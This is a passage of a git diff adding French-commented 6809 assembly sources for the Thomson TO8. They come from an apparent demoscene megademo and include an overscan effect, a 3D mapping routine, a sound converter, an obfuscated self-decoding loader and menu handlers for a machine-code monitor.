+GOON STX <$4A
+ STB <$4C
+ INCA
+ STA <$4F
+ CMPA #$E0
+ BNE CHARGE
+ LDA $E7E5
+ INCA
+ CMPA #CART
+ BNE *+3
+ INCA
+ CMPA #16
+ BEQ *+9
+ STA $E7E5
+ LDA #$A0
+ BRA CHARGE-2
+ RTS
+
+ERROR LDB <$4E
+ CMPB #2
+ BEQ CHARGE
+ LDX #COLORS+32
+ LDU #MESG+387
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDA B,X
+ LDB <$4E
+ ANDB #15
+ LDB B,X
+ STD ,U++
+ LDB <$48
+ LDA B,X
+ LDB <$49
+ LDB B,X
+ STD ,U++
+ LDB <$4B
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDA B,X
+ LDB <$4B
+ ANDB #15
+ LDB B,X
+ STD ,U++
+ LDB <$4C
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ LDA B,X
+ LDB <$4C
+ ANDB #15
+ LDB B,X
+ STD ,U
+ LDD #$900
+ JSR PRINT
+QUIT LDD #$101
+ JSR PRINT
+ TST $E7C8
+ BEQ *-3
+ LDS #0
+RDP LDA #0
+ TFR A,DP
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ RTS
+ FDB 0,15,2,6
+ FDB 0,$FD0,$FB0,$F90,$F70,$F50
+ FDB $F30,4095,$666,$222,5,10
+ FDB $500,$A00,$50,$A0
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+ FDB $1011,$1213,$1415,$1617
+ FDB $1819,$2122,$2324,$2526
+ FDB 0,0,0
+PRINT LDX #MESG
+ LDU #$4078
+ TSTB
+ BEQ *+5
+ LDU #$41B8
+ LDB #40
+ MUL
+ LEAY D,X
+ LDA #40
+ STA PRINT-1
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+
+CHAR LDB ,Y+
+ LDA #8
+ MUL
+ LDX #FONTE
+ LEAX D,X
+ LDD ,X++
+ STA 160,U
+ STB 120,U
+ LDD ,X++
+ STA 80,U
+ STB 40,U
+ LDD ,X++
+ STA ,U+
+ STB -41,U
+ LDD ,X
+ STA -81,U
+ STB -121,U
+ DEC PRINT-1
+ BNE CHAR
+ DEC $E7C3
+ RTS
+ACTION LDA $E7CD
+ BITA #64
+ BNE ACTION
+ RTS
+CHECK LDD #2
+ STB $E7E5
+ ADDA ,X+
+ CMPX #$E000
+ BNE *-5
+ LDX #$A000
+ INCB
+ CMPB #CART
+ BNE *+3
+ INCB
+ CMPB #16
+ BNE CHECK+3
+ CMPA PRINT-6
+TCHEK LDA #4 -> BNE *+6
+ INC *-3
+ RTS
+ LDD #$800
+ JSR PRINT
+ JMP QUIT
+COMPT LDX #$8088
+ LDA ,-X
+ INCA
+ CMPA #10
+ BNE *+9
+ CLR ,X
+ CMPX #$8000
+ BNE COMPT+3
+ STA ,X
+ RTS
+MAP
+ END
diff --git a/code/3rdparty/sources2-hcl/HCL Megademo/OVERSCAN.ASM b/code/3rdparty/sources2-hcl/HCL Megademo/OVERSCAN.ASM
new file mode 100644
index 0000000..ed6b6cb
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/HCL Megademo/OVERSCAN.ASM
@@ -0,0 +1,140 @@
+****************************************
+* *
+* COMPETENCE SANS FRONTIERE:L'OVERSCAN *
+* *
+****************************************
+* Codé le 10-9-90 par doc Lô *
+
+ ORG $D5B2
+
+G ORCC #80
+ LDA #$E7
+ EXG A,DP
+ STA RDP+2
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDA #$21
+ STA <$DC
+ CLR <$DD
+ LDA <$C3
+ ORA #1
+ STA <$C3
+ LDX #$4000
+ CLR ,X+
+ CMPX #$5F40
+ BNE *-5
+ DEC <$C3
+ CLR ,-X
+ CMPX #$4000
+ BNE *-5
+ LDX #MAP
+ STX $616B
+ LDD #$FF0E
+ STA $6249
+ STB $616D
+ LDD #$60B
+ STD $61D6
+ CLR $6288
+ LDB #69
+ JSR $EC0C
+ LDA #255
+ LDX #COULS
+ JSR $EC00
+ LDA <$CD
+ BITA #64
+ BNE *-4
+ LDD #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDX #$4467
+ LDU #$A000
+ LDA ,U+
+ STA ,X+
+ CMPX #$5F40
+ BNE *-7
+ INC <$C3
+ LDX #$4467
+ LDA ,U+
+ STA ,X+
+ CMPX #$5F40
+ BNE *-7
+ LDA #255
+ LDX #COULS+8
+ JSR $EC00
+
+ LDA #100
+ LDX #8*312
+ LEAX -1,X
+ BNE *-2
+ DECA
+ BNE *-8
+
+NORMAL LDA #32
+ BITA <$E7
+ BEQ *-2
+ BITA <$E7
+ BNE *-2
+ PSHS A
+ MUL
+ MUL
+ MUL
+ MUL
+ PULS A
+ BITA <$E7
+ BEQ *-10
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BPL *-7
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ TST <$E7
+ BMI *-7
+ LDB #$5C
+ TST <$C8
+ BNE RDP
+ LDA <$CC
+ BITA #2
+ BNE NORMAL
+
+GOON LDA #$7C
+ STA <$E7
+ LDX #4
+ LEAX -1,X
+ BNE *-2
+ STB <$E7
+ LDX #8
+ LEAX -1,X
+ BNE *-2
+ LDA <$C8
+ BNE RDP
+ LDA <$CC
+ BITA #1
+ BNE GOON
+ BRA NORMAL
+
+RDP LDD #$FF00
+ CLR <$DC
+ TFR B,DP
+ LDX #COULS+16
+ JSR $EC00
+ RTS
+
+COULS FDB 0,$F00,$200,$600
+ FDB 0,19,40,1996
+ FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826
+MAP
+
+ END
diff --git a/code/3rdparty/sources2-hcl/INST6280.ASM b/code/3rdparty/sources2-hcl/INST6280.ASM
new file mode 100644
index 0000000..5f255b3
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/INST6280.ASM
@@ -0,0 +1,132 @@
+ ORG $6280
+ FCB 0,5,6,'Z-64,$5F,$EC
+ FDB H-$6280 adresse exécution
+GOTO FDB MYEND-2
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931,938
+ FDB 2611,2618,3815,123
+ FCB 27,$40,27,$50,27,$60,12
+ FCB 31,32,$28,27,$47,12,27,$68
+ FCB 0
+ FDB 980,4567,23571,9804,13879
+ FCC "ASM"
+ FDB 28486,6480,4889,19687,1225
+
+MODCOD NEG <0
+ PSHS U
+ DAA
+ PSHS PC,Y,DP
+ LDD 2,S
+ FCB $71,$35,$F1 NEG >35F1
+ ASLA
+ COMA
+ INCA
+ FCC " Rules" BRA DEVIE
+
+ FDB 7813,4089,10389,23586,8912
+
+RETURN LEAS 4,S
+ FCB $6D,$F0 TST [,S+]
+ LDB -4,S
+ ORA #1 A=$B1
+ BMI LAB1
+ FCB $1B,$19,0
+
+LAB2 ROLA
+ PULS U
+ ORCC #$10
+ RORB
+ FCB $72,$10,$23 COM >$1023
+ ROLA
+ ADDD >$0001
+ PSHS D
+ LDA ,X++
+ BVC LAB3
+ FCB $0B,$0F
+
+LAB1 TFR D,Y
+ LEAX D,Y !!! seul Z changé
+ BPL H-15
+ FCB $1F,$70 TFR ?,D
+ ADDD $627E,PCR
+ FCB $01,$27 NEG <27
+ SUBD #$39BD !
+ ADCA #$10 +--------+
+ ROLB !
+ SEX \/
+SB6327 FCB $BE,$45,$51 COMA LSRA NEGB
+ LBRN $1972
+ LBRA LAB2
+ FCB 9
+ BRA *+72
+DEVIE LDU [GOTO,PCR]
+ FDB $0153 NEG <53
+ FCB $6E,$C7 JMP A,U
+ FCB 17
+
+LAB3 ADDA 1,S
+ LDB ,X
+ FCB $CF,$12,$6E STUl 2,PCR
+ ADDB ,S++
+ STB ,--X
+ FCB $E6,$90 LDB [,X+]
+ STA 1,X
+ RTS
+
+ FDB 30899,3278,7810,12488
+ FDB 26252,15478
+ FCB 32
+
+H BSR CHKIND
+ CLR >$60D1
+ LDA #-1
+ LDX #COLORS
+ JSR $EC00 initialise palette
+ LDU #$E004
+ LDY #$CB28 change 6396 & 6398
+CPT LDD #$E766
+ LEAX $FD79,PCR
+ INCA
+ DAA
+ DECB
+ BPL *-3
+ TFR A,B
+ SUBA #($58-$65)
+ JSR D,X
+ BSR MAPPRO
+ LDU #COLORS+32
+ LDB ,U+
+ JSR $E803
+ BNE *-5 écran noir
+ LDU #0
+ LDY #$4000 effacement & copie
+ LDD ,X en $4000 de la
+CODCHG EORA #$7B
+ EORB #$DE
+ EXG A,B
+ STU ,X++ suite du programme
+ STD ,Y++
+ CMPX #MYEND+$500
+ BLO CODCHG-2
+ RTS
+CHKIND LDD #$63FF
+ TFR A,DP
+ TFR B,CC
+ LDX >$600A FAB-Mon déjà actif
+ CMPX #$E000 => RESET à froid
+ BHS CHKIND-1
+ STX >$60FE
+ JMP $FDC8
+MAPPRO LDU #MYEND
+ LDX #$6300
+ LDB ,X+
+ SUBB ,U
+ STB ,U+
+ CMPX #MYEND
+ BNE *-9
+ CMPU #MYEND+$500
+ BLO MAPPRO+3
+ RTS
+ FDB RETURN+$50
+MYEND
+ END
diff --git a/code/3rdparty/sources2-hcl/MAPPING.ASM b/code/3rdparty/sources2-hcl/MAPPING.ASM
new file mode 100644
index 0000000..9e6fa2d
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/MAPPING.ASM
@@ -0,0 +1,204 @@
+IMAGE EQU $4014
+SINUS EQU $8000
+HIGHST EQU $9900
+DIR EQU $9A
+Z EQU $40
+PAS EQU 1
+
+ ORG $9C00
+
+G ORCC #80
+ LDA #DIR
+ EXG A,DP
+ STA SORTIE+1
+ LDA #20
+ STA <Z+6
+ CLR <Z+4
+ LDY #IMAGE+40*160
+
+BOUC LDD #$380
+ STA $E7E5
+ STB $E7DD
+ BSR FRAME
+ LDD #$2C0
+ STA $E7E5
+ STB $E7DD
+ TST $E7C8
+ BNE SORTIE
+ BSR FRAME
+ TST $E7C8
+ BEQ BOUC
+
+SORTIE LDA #0
+ TFR A,DP
+ CLR $E7DD
+ RTS
+
+FRAME CLRB
+ JSR $E806
+ CMPB #48
+ BLO FRAME
+ CMPB #57
+ BHI FRAME
+
+ SUBB #48
+ BNE *+3
+ RTS
+ CMPB #7
+ BLO D1
+ LEAY -320*PAS,Y
+D1 CMPB #3
+ BHI D2
+ LEAY 320*PAS,Y
+D2 CMPB #3
+ BLS D3
+ SUBB #3
+ CMPB #3
+ BLS D3
+ SUBB #3
+D3 CMPB #1
+ BNE D4
+ LEAY -PAS,Y
+D4 CMPB #3
+ BNE AFFICH
+ LEAY PAS,Y
+
+AFFICH LDU #$DF40
+ LDD #0
+ LDX #0
+ PSHU D,X
+ FDB $3616,$3616,$3616,$3616
+ FDB $3616,$3616,$3616,$3616
+ PSHU D,X
+ CMPU #$C000
+ BNE *-24
+ LDU #$BF40
+ PSHU D,X
+ FDB $3616,$3616,$3616,$3616
+ FDB $3616,$3616,$3616,$3616
+ PSHU D,X
+ CMPU #$A000
+ BNE *-24
+
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+ LDX #$C000
+ BSR MAPPER
+ DEC $E7C3
+ LDX #$A000
+
+MAPPER STX ECRAN+1
+ PSHS Y
+ LDD #80
+ STD <Z
+ STD <Z+2
+ LDX #HIGHST
+ LDA #112
+ STA ,X+
+ STA ,X+
+ INCA
+ CMPX #HIGHST+160
+ BNE *-8
+ STA ,X+
+ STA ,X+
+ DECA
+ CMPX #HIGHST+320
+ BNE *-8
+
+CALCUL LDA <Z+1
+ BPL *+3
+ NEGA
+ TFR A,B
+ MUL
+ STD <Z+8
+ LDA <Z+3
+ BPL *+3
+ NEGA
+ TFR A,B
+ MUL
+ ADDD <Z+8
+ CMPD #6400
+ BLO *+6
+ CLR <Z+5
+ BRA *+9
+ LDX #SINUS
+ LDB D,X
+ STB <Z+5
+
+ LDD <Z
+ ADDD <Z+2
+ ASRA
+ RORB
+ SUBD <Z+4
+ ADDD #112
+ STB <Z+7
+
+ LDD <Z+2
+ SUBD <Z
+ ADDD #160
+ STD <Z+8
+
+ LDX #HIGHST
+ LEAX D,X
+ LDA ,X
+ CMPA <Z+7
+ BLS KEDALL
+ LDB <Z+7
+ STB ,X
+ STA <Z+5
+BITEST LDA #128
+ BITA ,Y
+ BEQ KEDALL
+ LDD <Z+8
+ LSRA
+ RORB
+ LSRB
+ LSRB
+ECRAN LDX #0
+ ABX
+ LDB <Z+7
+ LDA #40
+ MUL
+ LEAX D,X
+ LDB <Z+9
+ ANDB #7
+ LDU #DECALG
+ LDA B,U
+ STA PIXEL+1
+ LDB <Z+5
+ SUBB <Z+7
+PIXEL LDA #0
+ ORA ,X
+ STA ,X
+ LEAX 40,X
+ DECB
+ BNE PIXEL
+
+KEDALL LSR BITEST+1
+ BNE MEMSEG
+ LDA #128
+ STA BITEST+1
+ LEAY 1,Y
+ DEC <Z+6
+ BNE MEMSEG
+ LDA #20
+ STA <Z+6
+ LEAY -60,Y
+MEMSEG LDX <Z
+ LEAX -1,X
+ STX <Z
+ CMPX #-80
+ LBNE CALCUL
+ LDX #80
+ STX <Z
+ LDX <Z+2
+ LEAX -1,X
+ STX <Z+2
+ CMPX #-80
+ LBNE CALCUL
+ PULS Y
+ RTS
+
+DECALG FDB $8040,$2010,$0804,$0201
+ END
diff --git a/code/3rdparty/sources2-hcl/MUSICOMP.ASM b/code/3rdparty/sources2-hcl/MUSICOMP.ASM
new file mode 100644
index 0000000..3cd1769
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/MUSICOMP.ASM
@@ -0,0 +1,63 @@
+****************************************
+* *
+* Conversion d'un son AMIGA en TO8 *
+* *
+****************************************
+
+ ORG $7580
+DEBSOU EQU $7700 }zique AMIGA
+FINSOU EQU $DF97 }
+DEBOBJ EQU $7600 résultat THOMSON
+
+G ORCC #80
+ LDX #DEBSOU
+
+EMULE LDA ,X
+ ADDA #128
+ LSRA
+ LSRA 1ère étape:
+ BCC FINEMU 8 bits -> 6 bits
+ CMPA #63
+ BEQ *+3
+ INCA
+FINEMU STA ,X+
+ CMPX #FINSOU
+ BNE EMULE
+
+ LDX #DEBSOU
+ LDU #DEBOBJ
+COMPIL LDA ,X+
+ ASLA
+ ASLA
+ STA ,U
+
+ LDA ,X
+ ANDA #3
+ ORA ,U
+ STA ,U+
+ LDA ,X+
+ ASLA 2ème étape:
+ ASLA mise bout à bout
+ ANDA #240 pour gain de place
+ STA ,U
+
+ LDA ,X
+ LSRA
+ LSRA
+ ORA ,U
+ STA ,U+
+ LDA ,X+
+ ANDA #3
+ STA ,U
+
+ LDA ,X+
+ ASLA
+ ASLA
+ ORA ,U
+ STA ,U+
+ CMPX #FINSOU
+ BLO COMPIL dernier octet =
+ STU *+4 fin du son après
+ SWI la compilation
+
+ END
diff --git a/code/3rdparty/sources2-hcl/OPTIONS.ASM b/code/3rdparty/sources2-hcl/OPTIONS.ASM
new file mode 100644
index 0000000..52bb979
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/OPTIONS.ASM
@@ -0,0 +1,1076 @@
+HNKTXT * option: Hunks d'un fichier
+ FCC "HUNKS @"
+ FCB 0
+ FCC "ILENAME."
+ FCB 0
+ FCC "IN"
+OPHUNK JSR FILRQT nom du fichier
+ JSR IPIHEX
+EOPHNK JSR HWINDW efface curseur etc
+ BEQ *+6
+ JSR HUNKS
+ CLRA
+ RTS
+
+LODTXT * option: lecture d'un prog BIN
+ FCC "LOADM @"
+ FCB 0
+ FCC "ILENAME."
+ FCB 0
+ FCC "IN +SHIFT $"
+ FDB 0,0
+OPLOAD JSR FILRQT nom du fichier
+ JSR IPIHEX
+ BEQ EOPLOD
+ LEAU 12,Y
+ LDA #4
+ JSR DINPUT valeur du décalage
+ BEQ EOPLOD au chargement
+ STU <LSHIFT
+ CLR <FILETY
+EOPLOD JSR HWINDW efface curseur etc
+ BEQ *+6
+ JSR LOADM
+ CLRA
+ RTS
+
+RIDTXT * option: lecture d'un fichier
+ FCC "READ @"
+ FCB 0
+ FCC "ILENAME."
+ FCB 0
+ FCC "IN>BUFFER $"
+ FDB 0,0
+ FCC " - $"
+ FDB 0,0
+OPREAD JSR FILRQT nom du fichier
+ JSR IPIHEX
+ BEQ EOPRID
+ LEAU 12,Y
+ JSR CLRBAR
+ LDA #4
+ STA <FILETY
+ JSR DINPUT adresse début du
+ BEQ EOPRID buffer
+ STU <LSHIFT
+ LDA #4
+ JSR DIPUT2 adresse fin du
+ BEQ EOPRID buffer
+ LDD #2
+ SUBD <LSHIFT
+ LEAU D,U
+ STU <FILSIZ taille+1 du buffer
+ LDA #-1
+EOPRID JSR HWINDW efface curseur etc
+ BEQ *+6
+ JSR LOADM
+ CLRA
+ RTS
+
+WRITXT * option: écriture d'un fichier
+ FCC "WRITE @"
+ FCB 0
+ FCC "ILENAME."
+ FCB 0
+ FCC "IN ; "
+ FCB 0
+ FCC "omments>FILE TYPE: "
+ FCB 0
+ FCC " ; DATA TYPE: "
+ FCB 0
+ FCC ">FROM $"
+ FDB 0,0
+ FCC " TO $"
+ FDB 0,0
+ FCC " EXEC $"
+ FDB 0,0
+OPWRIT JSR FILRQT saisie du nom
+ BEQ *+5
+ JSR COMRQT saisie commentaire
+ JSR IPIHEX
+ BEQ EOPWRT
+ BSR CLRBAR
+ LEAU 23,Y
+ LDD #CHKFTY
+ STD <INPCHK
+ LDD #VALFTY
+ STD <INPVAL
+ LDA #1
+ JSR DIPUT3 type du fichier
+ BEQ WRABOR
+ STB <FILETY
+ LDD #CHKDTY
+ STD <INPCHK
+ LDD #VALDTY
+ STD <INPVAL
+ LDA #1
+ JSR DIPUT4 type des données
+WRABOR JSR IPIHEX
+ BEQ EOPWRT
+ STB <DATATY
+ BSR CLRBAR
+ LDA #4
+ JSR DIPUT2 adresse de début
+ BEQ EOPWRT
+ STU <BEGADR
+ LDA #4
+ JSR DIPUT2 adresse de fin
+ BEQ EOPWRT
+ LDD <BEGADR
+ TFR U,D
+ SUBD <BEGADR
+ ADDD #1
+ STD <FILSIZ
+ LDA #4
+ LDB <FILETY ssi c'est un
+ CMPB #2 programme en LM,
+ BNE EOPWRT on lit son
+ JSR DIPUT2 adresse exécution
+ BEQ EOPWRT
+ STU <EXEADR
+
+EOPWRT JSR HWINDW efface curseur etc
+ BEQ *+6
+ JSR SAVEM
+ CLRA
+ RTS
+
+CLRBAR LDX #$4000+192*40
+ LDD #0
+ STD ,X++ efface la barre de
+ CMPX #$5F40 commandes
+ BLO *-5
+ LDX #SCREEN+4+24*320
+ STX <CURSOR
+ LDB #4
+ STB <XPOS
+ RTS
+
+KILTXT * option: efface un fichier
+ FCC "KILL @"
+ FCB 0
+ FCC "ILENAME."
+ FCB 0
+ FCC "IN"
+OPKILL JSR FILRQT
+ JSR IPIHEX
+ JSR HWINDW efface curseur etc
+ BEQ *+6
+ JSR KILLM
+ CLRA
+ RTS
+
+FILRQT LEAY ,U lit un descripteur
+ LDX #CHKFIL
+ STX <INPCHK
+ LDX #VALASC
+ STX <INPVAL
+ LDA #8
+ JSR INPUT nom du fichier
+ BEQ COMRQT-1
+ LDX #FILNAM
+ LDB ,U+
+ STB ,X+
+ DECA
+ BNE *-5
+ CMPX #FILNAM+8
+ BHS *+8
+ LDB #32 complète le nom
+ STB ,X+ avec des espaces
+ BRA *-9
+ LEAU 8,Y
+ LDB ,U+ affiche "."
+ JSR PUTC
+ LDA #3
+ JSR INPUT suffixe du fichier
+ BEQ COMRQT-1
+ LDB ,U+
+ STB ,X+
+ DECA
+ BNE *-5
+ CMPX #FILNAME+11
+ BHS *+8
+ LDB #32 complète suffixe
+ STB ,X+ avec des espaces
+ BRA *-9
+ LDA #-1 code retour = OK
+ RTS
+COMRQT LEAU 12,Y
+ LDA #3
+ LDB ,U+ affiche " ; "
+ JSR PUTC
+ DECA
+ BNE *-6
+ LDD #CHKASC
+ STD <INPCHK
+ LDA #8
+ JSR INPUT commentaire
+ BEQ COMRQT-1
+ LDB ,U+
+ STB ,X+
+ DECA
+ BNE *-5
+ CMPX #FILNAME+19
+ BHS COMRQT-3
+ LDB #32
+ STB ,X+
+ BRA *-9
+
+RGETXT * option: charge un registre
+ FCC "LET REGISTER @"
+ FDB 0
+ FCC " = $"
+ FDB 0,0
+OPRGEQ LDX #CHKASC
+ STX <INPCHK
+ LDX #VALREG
+ STX <INPVAL
+ LDA #2
+ JSR INPUT
+ JSR IPIHEX
+ BEQ EOPRGQ
+ LDA -3,U longueur
+ NEGA est-ce D ?
+ BNE *+6
+ LDA #2
+ LEAY 3,Y
+ PSHS Y,A sauve longueur
+ LDU #RGETXT+16
+ ASLA digits=2*longueur
+ JSR DINPUT
+ PULS B,Y
+ BEQ EOPRGQ
+ BITB #1 registre 16 bits ?
+ BNE *+6
+ STU ,Y nouveaux 16 bits
+ BRA EOPRGQ
+ TFR U,D
+ STB ,Y nouveaux 8 bits
+EOPRGQ CLRA
+ JMP HWINDW
+
+ FCB -2
+LRGEQU FCB 'P,'C,-2,32,'U,-2,32,'Y,-2
+ FCB 32,'X,-1,'D,'P,-1,32,'B,-1
+ FCB 32,'A,-1,'C,'C,-2,32,'S,00
+ FCB 32,'D
+
+REGTXT * option: affiche les registres
+ FCC "REGISTERS@"
+ FCC " PC A B X Y U "
+ FCC " S DP CC "
+OPREGI CLRA
+ JSR GETC
+ CMPB #2
+ LBEQ HWINDW
+ CMPB #13
+ BNE OPREGI+1
+ JSR HWINDW
+ LDX #OPREGI-40
+ LDB ,X+
+ JSR PUTC
+ CMPX #OPREGI
+ BLO *-8
+ LDX #DA2HEX
+ LDY #PUTC
+ LDU #DIR*256+REGIST
+ LDB #32
+ LDA ,--U affiche PC fort
+ JSR ,X
+ LDA 1,U affiche PC faible
+ JSR ,X
+ JSR ,Y
+ LDA -9,U affiche A
+ JSR ,X
+ JSR ,Y
+ LDA -8,U affiche B
+ JSR ,X
+ JSR ,Y
+ LDA -6,U affiche X fort
+ JSR ,X
+ LDA -5,U affiche X faible
+ JSR ,X
+ JSR ,Y
+ LDA -4,U affiche Y fort
+ JSR ,X
+ LDA -3,U affiche Y faible
+ JSR ,X
+ JSR ,Y
+ LDA ,--U affiche U fort
+ JSR ,X
+ LDA 1,U affiche U faible
+ JSR ,X
+ JSR ,Y
+ LDA -10,U affiche S fort
+ JSR ,X
+ LDA -9,U affiche S faible
+ JSR ,X
+ JSR ,Y
+ JSR ,Y
+ LDA -5,U affiche DP
+ JSR ,X
+ JSR ,Y
+ JSR ,Y
+ LDA -8,U affiche CC
+ JSR ,X
+ CLRA
+ JSR ,Y
+ JMP ,Y
+
+JSRTXT * option: exécution en mémoire
+ FCC "EXECUTE $@"
+ FDB 0,0
+OPGJSR LDA #4
+ JSR INPUT
+ BEQ EOPJSR
+ PSHS DP,CC
+ STU <SUBADR
+ STS <STKBAK
+ LDX #GETC FAB-Monitor n'est
+ STX $600A pas ré-entrant !!!
+ LDX BUFCLV
+ STX $6079
+ LDS #DIR*256+REGIST-11
+ PULS A,B,DP,X,Y,U
+ LDS DIR*256+REGIST-14
+ LEAS -6,S
+ PSHS A }
+ LDA DIR*256+REGIST-12 } charge
+ TFR A,CC } CC
+ PULS A }
+ JSR [DIR*256+SUBADR]
+ PSHS A }
+ TFR CC,A } sauve
+ STA DIR*256+REGIST-12 } CC
+ PULS A }
+ LEAS 6,S
+ STS DIR*256+REGIST-14
+ LDS #DIR*256+REGIST-2
+ PSHS U,Y,X,DP,B,A
+ LDS DIR*256+STKBAK
+ LDX #BUFCLV+2
+ STX $6079
+ LDX #MYGETC restaure
+ STX $600A l'indirection GETC
+ PULS CC,DP
+ CLRA
+EOPJSR JMP HWINDW
+
+JMPTXT * option: saut en mémoire-adieu!
+ FCC "JUMP $@"
+ FDB 0,0
+OPJUMP LDA #4
+ JSR INPUT
+ BEQ EOPJMP peur de sauter ?
+ STU REGIST-2 PC=adresse saut
+ LDA #-1 code retour=EXIT!
+EOPJMP JMP HWINDW
+
+POKTXT * option: équivalent du POKE
+ FCC "POKE $@"
+ FDB 0,0
+ FCC ",$"
+ FDB 0,0,0,0,0,0,0,0
+OPPOKE LDA #4
+ LEAY 4,U
+ JSR INPUT l'adresse où POKEr
+ BEQ EOPPOK
+ LDB ,Y+
+ JSR PUTC
+ CMPB #'$
+ BNE *-7
+ LEAY ,U Y pointe la zone
+ LDX #CHKSOP
+ STX <INPCHK
+ LDX #VALSOP
+ STX <INPVAL (longueur paire)
+PKIMPR LDD #$10FF
+ LDU #OPPOKE-16
+ JSR INPUT valeur à y déposer
+ JSR IPIHEX
+ BEQ EOPPOK
+ TSTB chaîne " ?
+ BEQ *+3
+ LSRA
+POKE LDB ,U+
+ STB ,Y+
+ DECA
+ BNE POKE
+ LDU #OPPOKE-22 adresse début
+ TFR Y,D
+ JSR ATOHEX
+ TFR B,A
+ JSR ATOHEX
+ CLRA
+EOPPOK JMP HWINDW
+
+BNKTXT * option: change de bank
+ FCC "BANK $@"
+ FDB 0
+OPBANK LDA $E7E5
+ JSR ATOHEX
+ LDX #VALBNK
+ STX <INPVAL
+ LDA #2
+ LEAU -2,U
+ JSR INPUT
+ BEQ EOPBNK juste consulté ?
+ TFR U,D
+ STB $E7E5 valide bank
+EOPBNK LDX #VALHEX
+ STX <INPVAL
+ JMP HWINDW
+
+LNFEED * option: saute une ligne
+ FCC "RETURN@"
+OPFEED JSR HWINDW
+ LDD #$2820
+ JSR PUTC
+ DECA
+ BNE *-4
+ RTS
+
+RAZWIN * option: efface la fenêtre
+ FCC "CLS@"
+OPRAZW JSR HWINDW
+ LDX #SCREEN
+ STX <CURSOR
+ LDA #24
+ STA <CMPT
+RAZLIN LDD #$2820
+ JSR PUTC
+ DECA
+ BNE *-4
+ DEC <CMPT
+ BNE RAZLIN
+ STX <CURSOR
+ RTS
+
+QITTXT * option: quitter le moniteur
+ FCC "QUIT@"
+OPQUIT CLRA
+QUIT JSR GETC
+ CMPB #2 touche Stop
+ BEQ QTABRT
+ CMPB #13 touche Entrée
+ BNE QUIT
+ DECA validation Quitter
+QTABRT JMP HWINDW code retour=-1
+
+SERTXT * option: recherche d'une chaîne
+ FCC "SEARCH $@"
+
+OPSEAR LDX #CHKSOP
+ STX <INPCHK
+ LDX #VALSOP longueur paire
+ STX <INPVAL
+ LDD #$10FF 8 octets=16 digits
+ LDU #SRWORD+17
+ JSR INPUT
+ TSTB chaîne " ?
+ BEQ *+3
+ LSRA
+ JSR IPIHEX
+ JSR HWINDW
+ BEQ EOPSER
+ LDX #SRWORD
+ STA ,X+ longueur chaîne
+ LDB ,U+
+ STB ,X+ copie de la chaîne
+ DECA
+ BNE *-5
+ LDA $E7E5
+SRSUIV ANDA #$1F
+ JSR SEARCH
+ JSR GETC
+ CMPB #8 flèche gauche
+ BNE SR1
+ DECA
+ BRA SRSUIV
+SR1 CMPB #9 flèche droite
+ BNE SR2
+ INCA
+ BRA SRSUIV
+SR2 CMPB #13 touche Entrée
+ BNE ENDSR
+ CLRA
+ JSR SEARCH
+ BNE SRSUIV+5
+ INCA
+ CMPA #$1F
+ BLO *-8
+ BRA SRSUIV
+ENDSR CMPB #2 touche Stop
+ BNE SRSUIV+5
+ CLRA code retour=OK
+EOPSER RTS
+
+DMPTXT * option: dump de la mémoire
+ FCC "DUMP $@"
+ FDB 0,0
+OPDUMP LDA #4
+ JSR INPUT lecture correcte ?
+ JSR HWINDW fenêtre supérieure
+ BNE *+3
+ RTS sort ss rien faire
+ LEAY ,U
+DPSUIV JSR DUMP
+ JSR GETC
+ CMPB #10 flèche bas
+ BEQ DPSUIV
+ CMPB #11 flèche haut
+ BNE DMP1
+ LEAY -16,Y
+ BRA DPSUIV
+DMP1 CMPB #8 flèche gauche
+ BNE DMP2
+ LEAY -9,Y
+ BRA DPSUIV
+DMP2 CMPB #9 flèche droite
+ BNE DMP3
+ LEAY -7,Y
+ BRA DPSUIV
+DMP3 CMPB #13 touche Entrée
+ BNE DMP4
+DMPAGE LDX #SCREEN
+ STX <CURSOR
+ LDA #23 hauteur d'1 écran
+ STA <CMPT
+ JSR DUMP
+ DEC <CMPT
+ BNE *-5
+ BRA DPSUIV
+DMP4 CMPB #30 touche RetScreen
+ BNE DMP5
+ LEAY -48*8,Y
+ BRA DMPAGE
+DMP5 JSR FNCKIZ
+ BEQ DPSUIV
+ENDDMP CMPB #2 touche Stop = QUIT
+ BNE DPSUIV+3
+ LDU #OPDUMP-4 adresse courante
+ TFR Y,D du dump devient la
+ JSR ATOHEX valeur par défaut
+ TFR B,A
+ JSR ATOHEX
+ CLRA code retour=OK
+ RTS
+
+DESTXT * option: désassemblage mémoire
+ FCC "UNASSEMBLE $@"
+ FDB 0,0
+OPDESA LDA #4
+ JSR INPUT
+ JSR HWINDW fenêtre supérieure
+ BNE *+3 lecture correcte ?
+ RTS sort ss rien faire
+ LEAY ,U
+ASSUIV JSR DESASS
+ JSR GETC
+ CMPB #10 flèche bas
+ BEQ ASSUIV
+ CMPB #8 flèche gauche
+ BNE ASS1
+ LDY <FIRBYT
+ LEAY -1,Y
+ BRA ASSUIV
+ASS1 CMPB #9 flèche droite
+ BNE ASS2
+ LDY <FIRBYT
+ LEAY 1,Y
+ BRA ASSUIV
+ASS2 CMPB #13 touche Entrée
+ BNE ASS3
+ LDX #SCREEN
+ STX <CURSOR
+ LDA #23 hauteur d'1 écran
+ STA <CMPT
+ JSR DESASS
+ DEC <CMPT
+ BNE *-5
+ BRA ASSUIV
+ASS3 CMPB #30 touche "y sauter"
+ BNE ASS4
+ LDA <ADRMOD flag "peut sauter"
+ BNE ASSUIV+3
+ LDY <OPCODE ->adresse pointée
+ BRA ASSUIV
